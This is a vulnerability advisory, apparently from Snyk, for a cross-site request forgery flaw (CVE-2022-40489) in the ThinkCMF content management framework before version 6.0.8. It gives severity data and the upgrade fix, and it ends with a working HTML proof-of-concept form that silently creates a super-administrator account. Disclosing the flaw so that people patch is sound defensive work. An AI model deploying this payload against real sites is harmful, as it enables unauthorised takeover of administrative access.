Cross-Site Request Forgery (CSRF) Affecting thinkcmf/thinkcmf package, versions <6.0.8


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.17% (55th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PHP-THINKCMFTHINKCMF-6674150
  • published26 Apr 2024
  • disclosed1 Dec 2022
  • creditAlessandro Di Benedetto

Introduced: 1 Dec 2022

CVE-2022-40489  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade thinkcmf/thinkcmf to version 6.0.8 or higher.

Overview

thinkcmf/thinkcmf is a ThinkCMF based on ThinkPHP 5.1 , it is a free and open source Content Management Framework(CMF).

Affected versions of this package are vulnerable to Cross-Site Request Forgery (CSRF) due to weak protection mechanisms. An attacker can inject a Super Administrator user into administrative users by crafting malicious web requests.

PoC


<html>
  <body>
  <h1>CSRF - SuperAdmin User Creation</h1>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/admin/user/addpost.html" method="POST">
      <input type="hidden" name="user_login" value="SuperAdmin" />
      <input type="hidden" name="user_pass" value="SuperAdmin999qweasd" />
      <input type="hidden" name="user_email" value="superadmin&#64;yopmail&#46;com" />
      <input type="hidden" name="role_id&#91;&#93;" value="2" />
      <input type="hidden" name="role_id&#91;&#93;" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      //document.forms[0].submit();
    </script>
  </body>
</html>

CVSS Scores

version 3.1